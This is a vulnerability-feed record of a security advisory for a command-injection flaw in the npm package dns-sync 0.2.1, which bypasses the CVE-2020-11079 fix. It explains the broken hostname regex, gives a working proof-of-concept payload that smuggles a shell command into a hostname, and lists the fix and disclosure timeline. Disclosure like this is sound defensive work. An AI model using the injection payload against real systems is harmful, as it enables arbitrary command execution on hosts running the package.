{"uuid": "1bacc97b-c92e-41cd-8445-594bc1e76231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-11079", "type": "seen", "source": "https://gist.github.com/moizxsec/c42bfada3bf659de639c1c1c2ff88abc", "content": "# dns-sync 0.2.1 \u2014 OS Command Injection (Bypass of CVE-2020-11079)\n\n## Package\n- **npm:** https://www.npmjs.com/package/dns-sync\n- **GitHub:** https://github.com/skoranga/node-dns-sync\n- **Affected version:** 0.2.1 (latest)\n- **CWE:** CWE-78 \u2014 OS Command Injection\n- **CVSS 3.1:** 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Summary\nThe hostname validator added in v0.2.1 to fix CVE-2020-11079 is ineffective due to a \nregex-escaping bug. Shell metacharacters pass validation and are interpolated unquoted \ninto a shell command, enabling arbitrary command execution.\n\n## Root Cause\n\n### lib/dns-sync.js line 9 \u2014 broken validator\n```javascript\n// \\. in a JS string literal collapses to bare . (matches ANY character, not literal dot)\nvar ValidHostnameRegex = new RegExp(\n  \"^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$\"\n);\n```\n\n### lib/dns-sync.js lines 50-52 \u2014 unquoted shell interpolation\n```javascript\ncmd = util.format('\"%s\" \"%s\" %s %s', nodeBinary, scriptPath, hostname, type || '');\nshell.exec(cmd, {silent: true});\n```\n\n## Proof of Concept\n```javascript\nconst fs = require('fs');\nconst dnsSync = require('dns-sync');\n\nconst marker = `/tmp/dns-sync-poc-${process.pid}-${Date.now()}`;\nconst payload = `a;touch$IFS$9${marker};a`;  // passes the broken validator\n\ndnsSync.resolve(payload);  // returns null \u2014 silent to caller\n\nconsole.log('RCE confirmed:', fs.existsSync(marker));  // =&gt; true\nfs.unlinkSync(marker);\n```\n\n## Expected vs Actual\n| Input | Expected | Actual |\n|---|---|---|\n| `a;touch$IFS$9/tmp/pwned;a` | Rejected by validator | Accepted \u2014 command executes |\n| `google.com` | Accepted | Accepted \u2705 |\n\n## Fix\n1. Use a regex literal instead of `new RegExp()` string:\n```javascript\nvar ValidHostnameRegex = /^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$/;\n```\n2. Ideally avoid shelling out entirely \u2014 use `child_process.execFile()` with an \n   argument array instead of `shelljs.exec()`.\n\n## Prior Work\nBypass of CVE-2020-11079 / GHSA-wh69-wc6q-7888. npm audit reports 0 vulnerabilities \nfor 0.2.1. No existing advisory describes this bypass.\n\n## Timeline\n- 2026-06-02: Vulnerability discovered and PoC confirmed\n- 2026-06-02: Maintainer contacted via email (bounced)\n- 2026-06-04: Reported to Snyk for coordination", "creation_timestamp": "2026-06-08T10:21:08.000000Z"}